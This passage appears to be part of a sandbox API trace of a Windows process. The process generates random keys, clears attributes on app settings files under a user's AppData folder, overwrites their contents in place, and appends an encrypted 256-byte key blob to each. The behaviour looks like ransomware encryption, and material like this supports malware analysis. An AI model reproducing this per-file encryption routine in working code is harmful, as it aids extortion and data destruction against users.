pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0162.722] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.723] ReadFile (in: hFile=0x12a0, lpBuffer=0x30cd020, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30cd020*, lpNumberOfBytesRead=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0162.728] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=-16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.728] WriteFile (in: hFile=0x12a0, lpBuffer=0x30d1028*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30d1028*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4000, lpOverlapped=0x0) returned 1 [0162.729] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4000 [0162.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.729] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.729] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.730] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.730] CloseHandle (hObject=0x12a0) returned 1 [0162.731] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.732] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0162.732] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.732] ReadFile (in: hFile=0x12a0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.732] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.732] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.732] SetFilePointer (in: hFile=0x12a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.732] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.733] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.734] WriteFile (in: hFile=0x12a0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.734] CloseHandle (hObject=0x12a0) returned 1 [0162.736] WriteFile (in: hFile=0x12ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.737] CloseHandle (hObject=0x12ac) returned 1 [0162.741] WriteFile (in: hFile=0x12ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.742] CloseHandle (hObject=0x12ac) returned 1 [0162.743] WriteFile (in: hFile=0x12ac, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.744] CloseHandle (hObject=0x12ac) returned 1 [0162.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.744] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0162.744] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.745] ReadFile (in: hFile=0x12c0, lpBuffer=0x2ecf060, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.756] SetFilePointer (in: hFile=0x12c0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.756] WriteFile (in: hFile=0x12c0, lpBuffer=0x2ecd058*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.756] SetFilePointer (in: hFile=0x12c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.757] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.757] WriteFile (in: hFile=0x12c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.757] WriteFile (in: hFile=0x12c0, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.757] CloseHandle (hObject=0x12c0) returned 1 [0162.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.760] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.760] ReadFile (in: hFile=0x12c0, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.761] SetFilePointer (in: hFile=0x12c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.761] WriteFile (in: hFile=0x12c0, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.761] SetFilePointer (in: hFile=0x12c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.761] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.761] WriteFile (in: hFile=0x12c0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.762] WriteFile (in: hFile=0x12c0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.762] CloseHandle (hObject=0x12c0) returned 1 [0162.770] WriteFile (in: hFile=0x12cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.771] CloseHandle (hObject=0x12cc) returned 1 [0162.773] WriteFile (in: hFile=0x12cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.774] CloseHandle (hObject=0x12cc) returned 1 [0162.775] WriteFile (in: hFile=0x12cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.776] CloseHandle (hObject=0x12cc) returned 1 [0162.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.777] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.777] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0162.778] ReadFile (in: hFile=0x12e0, lpBuffer=0x5c3478, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.778] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.778] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.778] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.778] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.779] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.780] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.780] CloseHandle (hObject=0x12e0) returned 1 [0162.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.782] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.782] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0162.783] ReadFile (in: hFile=0x12e0, lpBuffer=0x2ecb050, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecb050*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.801] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.801] WriteFile (in: hFile=0x12e0, lpBuffer=0x2ecf060*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecf060*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.802] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.802] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.802] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.803] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.803] CloseHandle (hObject=0x12e0) returned 1 [0162.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.804] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.805] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0162.805] ReadFile (in: hFile=0x12e0, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.816] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.816] WriteFile (in: hFile=0x12e0, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.816] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.816] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.817] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.817] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.818] CloseHandle (hObject=0x12e0) returned 1 [0162.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.819] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0162.819] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsMaps_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0162.820] ReadFile (in: hFile=0x12e0, lpBuffer=0x5c3518, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.820] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.820] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.820] SetFilePointer (in: hFile=0x12e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.820] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.820] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.821] WriteFile (in: hFile=0x12e0, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.822] CloseHandle (hObject=0x12e0) returned 1 [0162.824] WriteFile (in: hFile=0x12ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.825] CloseHandle (hObject=0x12ec) returned 1 [0162.825] WriteFile (in: hFile=0x12ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.826] CloseHandle (hObject=0x12ec) returned 1 [0162.827] WriteFile (in: hFile=0x12ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0162.828] CloseHandle (hObject=0x12ec) returned 1 [0162.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0162.828] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0162.828] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0162.829] ReadFile (in: hFile=0x1300, lpBuffer=0x5c3458, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.829] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.830] WriteFile (in: hFile=0x1300, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0162.830] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x0 [0162.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0162.830] WriteFile (in: hFile=0x1300, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0162.831] WriteFile (in: hFile=0x1300, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0162.832] CloseHandle (hObject=0x1300) returned 1 [0162.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0162.836] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0162.837] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsPhone_8wekyb3d8bbwe\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0162.837] ReadFile (in: hFile=0x1300, lpBuffer=0x2ec3030, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec3030*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.848] SetFilePointer (in: hFile=0x1300, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0162.848] WriteFile (in: hFile=0x1300, lpBuffer=0x2ec9048*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec9048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0162.849] SetFilePointer (in: hFile=0x1300, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0162.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0162.849] 